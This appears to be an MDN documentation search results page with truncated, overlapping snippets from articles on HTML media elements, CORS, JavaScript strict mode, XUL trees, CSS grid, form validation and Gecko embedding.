... useful when creating media elements whose source will be set at a later time, under user control. see our autoplay guide for additional information about how to properly use autoplay. to disable video autoplay, autoplay="false" will not work; the video will autoplay if the attribute is there in the <video> tag at all. to remove autoplay, the attribute needs to be removed altogether. in some browsers (e.g. chrome 70.0) autoplay doesn't work if no muted attribute is present. autopictureinpicture a boolean attribute which if true indicates that the element should automatically toggle picture-in-picture mode when the user switches back and forth between this document and another document or application. buffered an attribute you can read to determine the time ranges of the buffered me...
...icture a boolean attribute which if true indicates that the element should automatically toggle picture-in-picture mode when the user switches back and forth between this document and another document or application. buffered an attribute you can read to determine the time ranges of the buffered media. this attribute contains a timeranges object. controls if this attribute is present, the browser will offer controls to allow the user to control video playback, including volume, seeking, and pause/resume playback. controlslist the controlslist attribute, when specified, helps the browser select what controls to show on the media element whenever the browser shows its own set of controls (e.g. when the controls attribute is specified). the allowed values are nodownload, nofullscree...
...And 15 more matches
Cross-Origin Resource Sharing (CORS) - HTTP
Web › HTTP › CORS
for example, xmlhttprequest and the fetch api follow the same-origin policy. ...
...to selected resources from a different origin. a web application executes a cross-origin http request when it requests a resource that has a different origin (domain, protocol, or port) from its own. an example of a cross-origin request: the front-end javascript code served from https://domain-a.com uses xmlhttprequest to make a request for https://domain-b.com/data.json. for security reasons, browsers restrict cross-origin http requests initiated from scripts. for example, xmlhttprequest and the fetch api follow the same-origin policy. this means that a web application using those apis can only request resources from the same origin the application was loaded from unless the response from other origins includes the right cors headers. the cors mechanism supports secure cross-origin reque...
...equests initiated from scripts. for example, xmlhttprequest and the fetch api follow the same-origin policy. this means that a web application using those apis can only request resources from the same origin the application was loaded from unless the response from other origins includes the right cors headers. the cors mechanism supports secure cross-origin requests and data transfers between browsers and servers. modern browsers use cors in apis such as xmlhttprequest or fetch to mitigate the risks of cross-origin http requests. who should read this article? everyone, really. more specifically, this article is for web administrators, server developers, and front-end developers. modern browsers handle the client side of cross-origin sharing, including headers and policy enforcement. but ...
...And 15 more matches
Strict mode - JavaScript
sometimes you'll see the default, non-strict mode referred to as "sloppy mode". this isn't an official term, but be aware of it, just in case. javascript's strict mode, introduced in ecmascript 5, is a way to opt in to a restricted variant of javascript, thereby implicitly opting-out of "sloppy mode". strict mode isn't just a subset: it intentionally has different semantics from normal code. browsers not supporting strict mode will run strict mode code with different behavior from browsers that do, so don't rely on strict mode without feature-testing for support for the relevant aspects of strict mode. strict mode code and non-strict mode code can coexist, so scripts can opt into strict mode incrementally. strict mode makes several changes to normal javascript semantics: eliminates some ...
...g a variable in an assignment creates a new property on the global object and continues to "work" (although future failure is possible: likely, in modern javascript). assignments, which would accidentally create global variables, instead throw an error in strict mode: 'use strict'; // assuming no global variable mistypedvariable exists mistypevariable = 17; // this line throws a referenceerror due to the // misspelling of variable second, strict mode makes assignments which would otherwise silently fail to throw an exception. for example, nan is a non-writable global variable. in normal code assigning to nan does nothing; the developer receives no failure feedback. in strict mode assigning to nan throws an exception. any assignment that silentl...
...; the developer receives no failure feedback. in strict mode assigning to nan throws an exception. ...
...And 15 more matches
HTML to DOM - Archive of obsolete content
the code snippets on this page will let your site work until these new features are more widely available. safely parsing simple html to dom when using xmlhttprequest to get the html of a remote webpage, it is often advantageous to turn that html string into dom for easier manipulation. however, there are potential dangers involved in injecting remote content in a privileged context in your extension, so it can be desirable to parse the html safely. ...
...l be something as simple as the following: doc.body.textcontent = "this is inside the body!"; using a hidden iframe element to parse html to a window's dom sample code may need more work. create your own function using unique name, id, and so forth. ...
... // skip blank page or frame if (doc.location.href == "about:blank" || doc.defaultview.frameelement) return; // do something with the dom of doc alert(doc.location.href); // when done remove frame or set location "about:blank" settimeout(function (){ var frame = document.getelementbyid("sample-frame"); // remove frame // frame.destroy(); // if using browser element instead of iframe frame.parentnode.removechild(frame); // or set location "about:blank" // frame.contentdocument.location.href = "about:blank"; },10); }, true); } // load a page frame.contentdocument.location.href = "http://www.mozilla.org/"; // or // frame.webnavigation.loaduri("http://www.mozilla.org/",components.interfaces.nsiwebnavigation,null,null,null...
...And 14 more matches
Mozilla Application Framework in Detail - Archive of obsolete content
r ui (elements that may change after you have completed the application, such as a "history" menu item). xslt could be used to translate information from web services, rss, soap, or other xml-based languages and convert them into a form that you might display in your user interface. the gecko rendering engine gecko is the revolutionary rendering engine that offers advanced features for internet browsing anywhere across applications, computing platforms and devices. this innovation in browser technology offers small size, speed and industry leading standards support. gecko is the premier cross-platform, full-featured, mature and well-tested layout engine available, providing robust and high quality support for a massive array of standards. its ability to render web content correctly is excepti...
...igh quality support for a massive array of standards. its ability to render web content correctly is exceptional. gecko consists roughly of an html parser and xml parser, a dom implementation, a css parser and style system, and the code for css-based and html-based layout and rendering. as personal connectivity expands from the desktop computer to new web-enabled products and devices, gecko is a browser engine that has been designed from the ground up to power a new generation of desktop browsers and browsing devices and to accelerate the growth and development of the next-generation internet. small, fast and standards compliant, gecko is easily embeddable across platforms in browsers, desktop applications and browsing devices and delivers full-functionality browsing to them all. innovative ge...
... power a new generation of desktop browsers and browsing devices and to accelerate the growth and development of the next-generation internet. small, fast and standards compliant, gecko is easily embeddable across platforms in browsers, desktop applications and browsing devices and delivers full-functionality browsing to them all. innovative gecko technologies it supports make the development of browsers, applications and devices faster and easier than ever before. gecko is the first browser engine ever to deliver the full web standards support that developers have been calling for. this robust standards support for the first time makes it possible to implement powerful web applications with rich user interfaces without using proprietary or platform dependent code. because gecko has a cross-pl...
...And 14 more matches
Trees - Archive of obsolete content
Archive › Mozilla › XUL › Tutorial › Trees
« previousnext » xul provides a way to create tabular or hierarchical lists using a tree. the tree one of the more complex elements in xul is the tree. a tree may be used to display rows of text in columns. it can be used with rows either in a flat list or arranged into a hierarchy. a tree also allows the user to rearrange, resize and hide individual columns. some examples of trees include the list of messages in a mail application, or the bookmarks window in mozilla. in some ways, a tree has some similarities with the listbox. both can be used to create tables of data with multiple rows and columns, and both may contain column headers. the tree also supports nested rows, whereas the listbox does not. however, listboxes may contain any type of content, whereas trees may on...
.... each column will appear as a header at the top of the tree. the second part, the tree body, contains the data to appear in the tree and is created with a treechildren tag. the tree is unique in that the body of the tree consists only of a single widget which draws all of the data in the tree. this contrasts with the listbox, where individual listitem and listcell tags are used to specify the rows in the listbox. in a tree, all of the data to be displayed is supplied by a separate object, called a tree view. when it comes time to display a cell, the tree widget will call out to this tree view to determine what to display, which in turn will be drawn by the tree. the tree is smart enough to only ask for information from the view for those rows that need to be displayed. this allows the view...
...s time to display a cell, the tree widget will call out to this tree view to determine what to display, which in turn will be drawn by the tree. the tree is smart enough to only ask for information from the view for those rows that need to be displayed. this allows the view to be optimized such that it only needs to load the data for displayed content. for instance, a tree might have thousands of rows, yet most of them will be scrolled off the border of the tree, hidden from view. this means that the tree is scalable to any number of rows without any performance problems. of course, this is independant of the performance of the view object itself. a tree view is an object which implements the nsitreeview interface. this interface contains thirty properties and functions which you may implemen...
...And 14 more matches
Legacy layout methods - Learn web development
how these older methods work, in order that you understand how they were used if you work on an older project. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css and styling boxes.) objective: to understand the fundamental concepts behind the grid layout systems used prior to css grid layout being available in browsers. layout and grid systems before css grid layout it may seem surprising to anyone coming from a design background that css didn’t have an inbuilt grid system until very recently, and instead we seemed to be using a variety of sub-optimal methods to create grid-like designs. we now refer to these as "legacy" methods. for new projects, in most cases css grid layout will be used in comb...
...using these legacy methods from time to time. it is worth understanding how they work, and why they are different to css grid layout. this lesson will explain how grid systems and grid frameworks based on floats and flexbox work. having studied grid layout you will probably be surprised how complicated this all seems! this knowledge will be helpful to you if you need to create fallback code for browsers that do not support newer methods, in addition to allowing you to work on existing projects which use these types of systems. it is worth bearing in mind, as we explore these systems, that none of them actually create a grid in the way that css grid layout creates a grid. they work by giving items a size, and pushing them around to line them up in a way that looks like a grid. a two column l...
...div:nth-of-type(1) { width: 48%; float: left; } div:nth-of-type(2) { width: 48%; float: right; } you'll notice here that we are using percentages for all the widths — this is quite a good strategy, as it creates a liquid layout, one that adjusts to different screen sizes and keeps the same proportions for the column widths at smaller screen sizes. try adjusting the width of your browser window to see for yourself. this is a valuable tool for responsive web design. note: you can see this example running at 0_two-column-layout.html (see also the source code). creating simple legacy grid frameworks the majority of legacy frameworks use the behavior of the float property to float one column up next to another in order to create something that looks like a grid. working throug...
...And 14 more matches
Client-side form validation - Learn web development
xx" (a specific data format is required for it to be considered valid). "please enter a valid email address" (the data you entered is not in the right format). "your password needs to be between 8 and 30 characters long and contain one uppercase letter, one symbol, and a number." (a very specific data format is required for your data). this is called form validation. when you enter data, the browser and/or the web server will check to see that the data is in the correct format and within the constraints set by the application. validation done in the browser is called client-side validation, while validation done on the server is called server-side validation. in this chapter we are focusing on client-side validation. if the information is correctly formatted, the application allows the da...
... the entered data needs to follow. if the data entered in a form field follows all of the rules specified by the above attributes, it is considered valid. if not, it is considered invalid. when an element is valid, the following things are true: the element matches the :valid css pseudo-class, which lets you apply a specific style to valid elements. if the user tries to send the data, the browser will submit the form, provided there is nothing else stopping it from doing so (e.g., javascript). when an element is invalid, the following things are true: the element matches the :invalid css pseudo-class, and sometimes other ui pseudo-classes (e.g., :out-of-range) depending on the error, which lets you apply a specific style to invalid elements. if the user tries to send the data, the...
... will submit the form, provided there is nothing else stopping it from doing so (e.g., javascript). when an element is invalid, the following things are true: the element matches the :invalid css pseudo-class, and sometimes other ui pseudo-classes (e.g., :out-of-range) depending on the error, which lets you apply a specific style to invalid elements. if the user tries to send the data, the browser will block the form and display an error message. note: there are several errors that will prevent the form from being submitted, including a badinput, patternmismatch, rangeoverflow or rangeunderflow, stepmismatch, toolong or tooshort, typemismatch, valuemissing, or a customerror. built-in form validation examples in this section, we'll test out some of the attributes that we discussed a...
...And 14 more matches
Other form controls - Learn web development
tion in the previous article), and progress bars. prerequisites: basic computer literacy, and a basic understanding of html. objective: to understand the non-<input> form features, and how to implement them using html. multi-line text fields a multi-line text field is specified using a <textarea> element, rather than using the <input> element. <textarea cols="30" rows="8"></textarea> this renders like so: the main difference between a <textarea> and a regular single line text field is that users are allowed to include hard line breaks (i.e. pressing return) that will be included when the data is submitted. <textarea> also takes a closing tag, and any default text you want it to contain should be put between the opening and closing tags. in contrast, the <...
...hat even though you can put anything inside a <textarea> element (including other html elements, css, and javascript), because of its nature, it is all rendered as if it was plain text content. (using contenteditable on non-form controls provides an api for capturing html/"rich" content instead of plain text). visually, the text entered wraps and the form control is by default resizable. modern browsers provide a drag handle that you can drag to increase/decrease the size of the text area. the following screenshots show default, focused, and disabled <textarea> elements in firefox 71 and safari 13 on macos, and edge 18, yandex 14, firefox 71 and chrome 79 on windows 10. note: you can find a slightly more interesting example of text area usage in the example we put together in the first a...
...e code also). controlling multi-line rendering <textarea> accepts three attributes to control its rendering across several lines: cols specifies the visible width (columns) of the text control, measured in average character widths. this is effectively the starting width, as it can be changed by resizing the <textarea>, and overriden using css. the default value if none is specified is 20. ...
...And 14 more matches
Introduction to events - Learn web development
events are actions or occurrences that happen in the system you are programming, which the system tells you about so you can respond to them in some way if desired. for example, if the user selects a button on a webpage, you might want to respond to that action by displaying an information box. in this article, we discuss some important concepts surrounding events, and look at how they work in browsers. this won't be an exhaustive study; just what you need to know at this stage. prerequisites: basic computer literacy, a basic understanding of html and css, javascript first steps. objective: to understand the fundamental theory of events, how they work in browsers, and how events may differ in different programming environments. a series of fortunate events as...
...ystem produces (or "fires") a signal of some kind when an event occurs, and provides a mechanism by which an action can be automatically taken (that is, some code running) when the event occurs. for example, in an airport, when the runway is clear for take off, a signal is communicated to the pilot. as a result, the plane can safely takeoff. in the case of the web, events are fired inside the browser window, and tend to be attached to a specific item that resides in it — this might be a single element, set of elements, the html document loaded in the current tab, or the entire browser window. there are many different types of events that can occur. for example: the user selects a certain element or hovers the cursor over a certain element. the user chooses a key on the keyboard. the ...
... a web page finishes loading. a form is submitted. a video is played, paused, or finishes. an error occurs. ...
...And 14 more matches
CSUN Firefox Materials
websites such as online magazines with sophisticated audiences are now reporting upwards of 25% firefox usage. ...
...websites such as online magazines with sophisticated audiences are now reporting upwards of 25% firefox usage. ...
...websites such as online magazines with sophisticated audiences are now reporting upwards of 25% firefox usage. ...
...And 14 more matches
Embedding Tips
g files, displaying prompt or password dialog boxes and so on. embedders may wish to override some of the default service implementations with their own. for example, the default prompt service uses xul to render prompt dialogs and embedders may wish to render them in a way more appropriate for their application and platform.. how do i load a page? get thensiwebnavigation interface on your webbrowser and call the loaduri method with the appropriate uri and flags. this interface also has methods for reloading, stopping a load and going back and forward in the history. how do i block a load? implement the nsiwebprogresslistener interface and register it with the appropriate web browser object via the nsiwebbrowser::addwebbrowserlistener() method. use the callbacks for after-the-fact cancell...
...watch for changes in nsiuricontentlistener::onstarturiopen(). you can abort the uri load at this point if you don't want it to proceed. ...
...watch for changes in nsiuricontentlistener::onstarturiopen(). you can abort the uri load at this point if you don't want it to proceed. ...
...And 14 more matches
nsIContentPrefService2
our use case. domain parameters many methods of this interface accept a "domain" parameter. domains may be specified either exactly, like "example.com", or as full urls, like "http://example.com/foo/bar". in the latter case the api extracts the full domain from the url, so if you specify "http://foo.bar.example.com/baz", the domain is taken to be "foo.bar.example.com", not "example.com". private-browsing context parameters many methods also accept a "context" parameter. this parameter relates to private browsing and determines the kind of storage that a method uses, either the usual permanent storage or temporary storage set() aside for private browsing sessions. pass null to unconditionally use permanent storage. pass an nsiloadcontext to use storage appropriate to the context's useprivatebro...
...a context can be obtained from the window or channel whose content pertains to the preferences being modified or retrieved. callbacks the methods of callback objects are always called asynchronously. ...
...a context can be obtained from the window or channel whose content pertains to the preferences being modified or retrieved. callbacks the methods of callback objects are always called asynchronously. see nsicontentprefcallback2 for more information about callbacks. ...
...And 14 more matches
Basic Concepts of grid layout - CSS: Cascading Style Sheets
used to lay out major page areas or small user interface elements. this article introduces the css grid layout and the new terminology that is part of the css grid layout level 1 specification. the features shown in this overview will then be explained in greater detail in the rest of this guide. what is a grid? a grid is a set of intersecting horizontal and vertical lines defining columns and rows. elements can be placed onto the grid within these column and row lines. css grid layout has the following features: fixed and flexible track sizes you can create a grid with fixed track sizes – using pixels for example. this sets the grid to the specified pixel which fits to the layout you desire. you can also create a grid using flexible sizes with percentages or with the new fr unit design...
...ment you can place items into a precise location on the grid using line numbers, names or by targeting an area of the grid. grid also contains an algorithm to control the placement of items not given an explicit position on the grid. creation of additional tracks to hold content you can define an explicit grid with grid layout. the grid layout specification is flexible enough to add additional rows and columns when needed. features such as adding “as many columns that will fit into a container” are included. alignment control grid contains alignment features so we can control how the items align once placed into a grid area, and how the entire grid is aligned. control of overlapping content more than one item can be placed into a grid cell or area and, they can partially overlap ea...
...iv> </div> i make the .wrapper a grid container. .wrapper { display: grid; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } all the direct children are now grid items. in a web browser, you won’t see any difference to how these items are displayed before turning them into a grid, as grid has created a single column grid for the items. at this point, you may find it useful to work with the grid inspector, available as part of firefox's developer tools. if you view this example in firefox and inspect the grid, you will see a small icon next to the value grid. click this and t...
...And 14 more matches
Index - HTTP
Web › HTTP › Headers › Index
ing white space before the value is ignored. 2 accept http, http header, reference, request header the accept request http header advertises which content types, expressed as mime types, the client is able to understand. using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the content-type response header. browsers set adequate values for this header depending on the context where the request is done: when fetching a css stylesheet a different value is set for the request than when fetching an image, video or a script. 3 accept-charset content negotiation, http, http header, reference, request header the accept-charset request http header advertises which character set the client is ...
...ng an image, video or a script. 3 accept-charset content negotiation, http, http header, reference, request header the accept-charset request http header advertises which character set the client is able to understand. using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice within the content-type response header. browsers usually don't set this header as the default value for each content type is usually correct and transmitting it would allow easier fingerprinting. 4 accept-encoding content negotiation, http, http header, reference, request header the accept-encoding request http header advertises which content encoding, usually a compression algorithm, the client is able to understand. us...
... the accept-language request http header advertises which languages the client is able to understand, and which locale variant is preferred. (by languages, we mean natural languages, such as english, and not programming languages.) using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the content-language response header. browsers set adequate values for this header according to their user interface language and even if a user can change it, this happens rarely (and is frowned upon as it leads to fingerprinting). 6 accept-ranges http, http header, range requests, reference, response header the accept-ranges response http header is a marker used by the server to advertise its support of partial reque...
...And 14 more matches
Building a Theme - Archive of obsolete content
ing up the development environment themes and extensions are packaged and distributed in zip files or bundles, with the xpi (pronounced “zippy”) file extension. an example of the content within a typical xpi file for a theme: example.xpi: /install.rdf /chrome.manifest /preview.png /icon.png /chrome/ browser/ communicator/ global/ mozapps/ we'll want to create a file structure similar to the one above for our tutorial, so let's begin by creating a folder for your theme somewhere on your hard disk (e.g. c:\themes\my_theme\ or ~/themes/my_theme/). inside your new theme folder, create two new empty text files, one called chrome.manifest...
...ader and others. the files we will be needing are located under the chrome\toolkit\skin\classic folder. create a folder called chrome in your theme's folder. next, the contents of the following directories to their respective folders into the folder. ...
...nder the chrome\toolkit\skin\classic folder. create a folder called chrome in your theme's folder. next, the contents of the following directories to their respective folders into the folder. global to chrome/global mozapps to chrome/mozapps now that you've copied the global and mozapps folders, a handful of other folders from the browser/omni.ja archive are required. it is located in the browser folder in the location mentioned above. ...
...And 13 more matches
The Business Benefits of Web Standards - Archive of obsolete content
caught between a rock and a hard place, web designers face a formidable challenge. yet they are finding an unsuspected ally in the battle: web standards. this article discusses how adhering to web standards, and leaving behind proprietary markup and technologies, can contribute to a company's business goals. ...
...o render titles instead of graphics also helps in this regard. there are very significant differences in how search engines operate. instead of worrying about each engine and attempting to artificially manipulate the results, web standards pages index and rank properly (where they deserve to) across all search engines. ...
...o have for browser differences, they also reduce the differences between the way search engines rank pages. there should be little need to plunge into the increasing costs and uncertain quality and integrity of proprietary pay per click campaigns. increase website traffic maintain contact with your user on multiple platforms standards-based code and cross-platform go hand in hand. while some browsers have quirks that cause different behavior by platform, mozilla-based browsers are designed to behave identically on all supported platforms (mac, linux, unix, windows...) web content is increasingly being accessed by a growing number of user agents other than browsers, or by browsers on different platforms - for example mobile telephones. feed content such as rss and atom simply will not work...
...And 13 more matches
Client-Server Overview - Learn web development
as most website server-side code handles requests and responses in similar ways, this will help you understand what you need to do when writing most of your own code. prerequisites: basic computer literacy. a basic understanding of what a web server is. ...
...s need to be performed by server-side code. there is no real code in the discussion because we haven't yet chosen a web framework to use to write our code! this discussion is however still very relevant, because the described behaviour must be implemented by your server-side code, irrespective of which programming language or web framework you select. web servers and http (a primer) web browsers communicate with web servers using the hypertext transfer protocol (http). when you click a link on a web page, submit a form, or run a search, the browser sends an http request to the server. this request includes: a url identifying the target server and resource (e.g. an html file, a particular data point on the server, or a tool to run). a method that defines the required action (for e...
...he server. post data. post requests add new resources, the data for which is encoded within the request body. client-side cookies. cookies contain session data about the client, including keys that the server can use to determine their login status and permissions/accesses to resources. web servers wait for client request messages, process them when they arrive, and reply to the web browser with an http response message. the response contains an http response status code indicating whether or not the request succeeded (e.g. "200 ok" for success, "404 not found" if the resource cannot be found, "403 forbidden" if the user isn't authorised to see the resource, etc). the body of a successful response to a get request would contain the requested resource. when an html page is returne...
...And 13 more matches
Embedding API for Accessibility
g code: #include "nsipref.h"; nsresult rv; nscomptr<nsipref> prefs(do_getservice(ns_pref_contractid, &rv)); prefs->setboolpref("bool.pref.name", pr_true /* or pr_false */); prefs->setintpref("int.pref.name", newvalue); prefs->setcharpref("string.pref.name", newcharstarvalue); to manually add a pref to your settings, add a line like the following to your prefs.js: user_pref("accessibility.browsewithcaret", true); accessibility prefs reference the following is a description of what accessibility prefs give us (or will give us), for accessibility: functionality implementation works as of images setintpref("network.image.imagebehavior", behavior); /* behavior: ...
...ntpref("font.size.fixed.x-western", newfontsize); setintpref("font.size.variable.x-western", newfontsize); /* for other i18n charsets, change the name as explained above for font face*/ setcharpref("font.default","serif"); /* or "sans-serif" */ setintpref("browser.use_document_fonts", whichfonts); /* whichfonts: 0=no, 1=yes */ moz 0.8 fonts from operating system? setboolpref("browser.use_system_fonts", usesystemfonts); no colors for page setcharpref("browser.display.foreground_color", "#abcde...
...hichfonts: 0=no, 1=yes */ moz 0.8 fonts from operating system? ...
...And 13 more matches
Localizing without a specialized tool
-u compare-locales to start, be sure to open your command line interface and change your directory to where you are keeping your localization files, the en-us sources $ cd /path/to/your/working/directory now, you will need run compare locales. to do this, enter the following commands, keeping sure to change "x-testing" to the actual locale code of your locale. ...
...w, you will need run compare locales. to do this, enter the following commands, keeping sure to change "x-testing" to the actual locale code of your locale. $ compare-locales mozilla-1.9.2/browser/locales/l10n.ini l10n-mozilla-1.9.2 x-testing for convenience, try saving the output of this command to a text file on your desktop so you can review it as you go. run: $ compare-locales mozilla-1.9.2/browser/locales/l10n.ini l10n-mozilla-1.9.2 x-testing > ~/desktop/x-testing.compare open the x-testing.compare file that is on your desktop. ...
...rowser/locales/l10n.ini l10n-mozilla-1.9.2 x-testing for convenience, try saving the output of this command to a text file on your desktop so you can review it as you go. run: $ compare-locales mozilla-1.9.2/browser/locales/l10n.ini l10n-mozilla-1.9.2 x-testing > ~/desktop/x-testing.compare open the x-testing.compare file that is on your desktop. ...
...And 13 more matches
Mozilla Web Developer FAQ
this document answers questions that web authors ask frequently specifically in connection with firefox and other gecko-based browsers. there are links to more general web authoring faqs at the end of this document. what are the quirks mode and the standards mode? gecko has two and a half layout modes: quirks, almost standards and standards. in the standards mode gecko aims to treat documents authored in compliance with the applicable web format specifications. in the quirks mode—for the purpose of backwards compatibility—gecko mimics some behaviors of legacy browsers in ways that are spec violations. the almost standards mode is like the standards mode except it addresses the issue of the next question by rendering table cells with images in the traditional way. the mode is pick...
...uments served as text/html. documents sent as xml always activate the standards layout mode. this includes documents sent as application/xhtml+xml. the consequence is that xhtml 1.0 transitional documents are rendered in the almost standards mode when served as text/html under pretext of the appendix c but in the standards mode when served as application/xhtml+xml. ...
...cludes documents sent as application/xhtml+xml. the consequence is that xhtml 1.0 transitional documents are rendered in the almost standards mode when served as text/html under pretext of the appendix c but in the standards mode when served as application/xhtml+xml. ...
...And 13 more matches
Building the WebLock UI
an be installed in any gecko application. the xpcom interfaces and tools you've used have been general, cross-platform, and available in the gecko runtime environment or in any gecko-based application after mozilla 1.2 (when the gre began to be used). ...
... gecko application. the xpcom interfaces and tools you've used have been general, cross-platform, and available in the gecko runtime environment or in any gecko-based application after mozilla 1.2 (when the gre began to be used). in this chapter, however, we are going to be building a user interface for the weblock component that's meant to be added to the existing mozilla browser[other-mozlike-browsers]. ...
...'s meant to be added to the existing mozilla browser[other-mozlike-browsers]. it uses xul, which is an xml language that gecko knows how to render as user interface, but it also interacts with particular parts of the mozilla user interface, where it must install itself as an extension to the ui. specifically, the user interface we create in this chapter will be overlaid into the statusbar of the browser component, where it will provide a small icon the user can click to access the web lock interface. weblock indicator in browser user interface package list the user interface described in this section is comprised of four files: weblockoverlay.xul is the file that defines the little status icon in the browser. weblock.xul defines the web lock manager dialog. weblock.css provides style...
...And 13 more matches
imgIContainer
obsolete since gecko 2.0 kblendsource 0 all color components of the frame, including alpha, const long kblendover = 1; // the frame should be composited onto the output buffer. obsolete since gecko 2.0 methods native code only!addrestoredata obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. void addrestoredata( [array, size_is(acount), const] in char data, in unsigned long acount ); parameters data missing description acount missing description exceptions thrown missing exception missing description native code only!appendframe obsolete since gecko 2.0 (firefox...
...estoredata( [array, size_is(acount), const] in char data, in unsigned long acount ); parameters data missing description acount missing description exceptions thrown missing exception missing description native code only!appendframe obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. adds to the end of the list of frames. void appendframe( in print32 ax, in print32 ay, in print32 awidth, in print32 aheight, in gfximageformat aformat, [array, size_is(imagelength)] out pruint8 imagedata, out unsigned long imagelength ); parameters ax missing description ay mi...
...escription aheight missing description aformat missing description imagedata missing description imagelength missing description exceptions thrown missing exception missing description native code only!appendpalettedframe obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. void appendpalettedframe( in print32 ax, in print32 ay, in print32 awidth, in print32 aheight, in gfximageformat aformat, in pruint8 apalettedepth, [array, size_is(imagelength)] out pruint8 imagedata, out unsigned long imagelength, [array, size_is(palettelength)] out pruint32 palettedata, ...
...And 13 more matches
Capabilities, constraints, and settings - Web APIs
historically, writing scripts for the web that work intimately with web apis has had a well-known challenge: often, your code needs to know whether or not an api exists and if so, what its limitations are on the user agent it's running on. figuring this out has often been difficult, and has usually involved looking at some combination of which user agent (or browser) you're running on, which version it is, looking to see if certain objects exist, trying to see whether various things work or not and determining what errors occur, and so forth. the result has been a lot of very fragile code, or a reliance on libraries which figure this stuff out for you, then implement polyfills to patch the holes in the implementation on your behalf. the twin concepts of constraints and capabilities let the b...
...it is, looking to see if certain objects exist, trying to see whether various things work or not and determining what errors occur, and so forth. the result has been a lot of very fragile code, or a reliance on libraries which figure this stuff out for you, then implement polyfills to patch the holes in the implementation on your behalf. the twin concepts of constraints and capabilities let the browser and web site or app exchange information about what constrainable properties the browser's implementation supports and what values it supports for each one. this article discusses capabilities and constraints, as well as media settings, and includes an example we call the constraint exerciser. the constraint exerciser lets you experiment with the results of different constraint sets being appli...
...th the results of different constraint sets being applied to the audio and video tracks coming from the computer's a/v input devices (such as its webcam and microphone). overview the process works like this (using mediastreamtrack as an example): if needed, call mediadevices.getsupportedconstraints() to get the list of supported constraints, which tells you what constrainable properties the browser knows about. this isn't always necessary, since any that aren't known will simply be ignored when you specify them—but if you have any that you can't get by without, you can start by checking to be sure they're on the list. once the script knows whether the property or properties it wishes to use are supported, it can then check the capabilities of the api and its implementation by examining...
...And 13 more matches
Using feature queries - CSS: Cascading Style Sheets
feature queries are created using the css at-rule @supports, and are useful as they give web developers a way to test to see if a browser has support for a certain feature, and then provide css that will only run based on the result of that test. in this guide you will learn how to implement progressive enhancement using feature queries. syntax css feature queries are part of the css conditional rules module, which also contains the media query @media rule; when you use feature queries, you will find they behave in a similar way to media queries. the difference is that with a media query you are testing something about the environment in which the web page is running, whereas with feature queries you are testing browser support for css features. a feature query consists of the @supports ru...
...age is running, whereas with feature queries you are testing browser support for css features. a feature query consists of the @supports rule, followed by the property name and value you would like to test for. you may not test for a bare property name such as display; the rule requires a property name and a value: @supports (property: value) { css rules to apply } if you want to check if a browser supports the row-gap property, for example, you would write the following feature query. it doesn't matter which value you use in a lot of cases: if all you want is to check that the browser supports this property, then any valid value will do. the value part of the property value pair matters more if you are testing for new values of a particular property. a good example would be the displa...
...ow-gap property, for example, you would write the following feature query. it doesn't matter which value you use in a lot of cases: if all you want is to check that the browser supports this property, then any valid value will do. the value part of the property value pair matters more if you are testing for new values of a particular property. a good example would be the display property. all browsers support display, as display: block dates back to css1. however the values display: flex and display: grid are newer. ...
...And 13 more matches
Line-based placement with CSS Grid - CSS: Cascading Style Sheets
ering the basic concepts of grid layout, we started to look at how to position items on a grid using line numbers. in this article we will fully explore how this fundamental feature of the specification works. starting your exploration of grid with numbered lines is the most logical place to begin, as when you use grid layout you always have numbered lines. the lines are numbered for columns and rows, and are indexed from 1. note that grid is indexed according to the writing mode of the document. in a left to right language such as english line 1 is on the left-hand side of the grid. if you are working in a right-to-left language then line 1 will be the far right of the grid. we will learn more about the interaction between writing modes and grids in a later guide. a basic example as a very...
...xample we can take a grid with 3 column tracks and 3 row tracks. this gives us 4 lines in each dimension. inside our grid container i have four child elements. if we do not place these on to the grid in any way they will lay out according to the auto-placement rules, one item in each of the first four cells. if you use the firefox grid highlighter you can see how the grid has defined columns and rows. ...
...id has defined columns and rows. * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class="box4">four</div> </div> positioning items by line number we can use line-based placement to control where these items sit on the grid. i would like the first item to start on the far left of the grid and span a single column track. it shou...
...And 13 more matches
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
Web › HTML › Element › audio
it can also be the destination for streamed media, using a mediastream. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the above example shows simple usage of the <audio> element. ...
...ct, please clone https://github.com/mdn/interactive-examples and send us a pull request. the above example shows simple usage of the <audio> element. in a similar manner to the <img> element, we include a path to the media we want to embed inside the src attribute; we can include other attributes to specify information such as whether we want it to autoplay and loop, whether we want to show the browser's default audio controls, etc. the content inside the opening and closing <audio></audio> tags is shown as a fallback in browsers that don't support the element. attributes this element's attributes include the global attributes. autoplay a boolean attribute: if specified, the audio will automatically begin playback as soon as it can do so, without waiting for the entire audio file to fi...
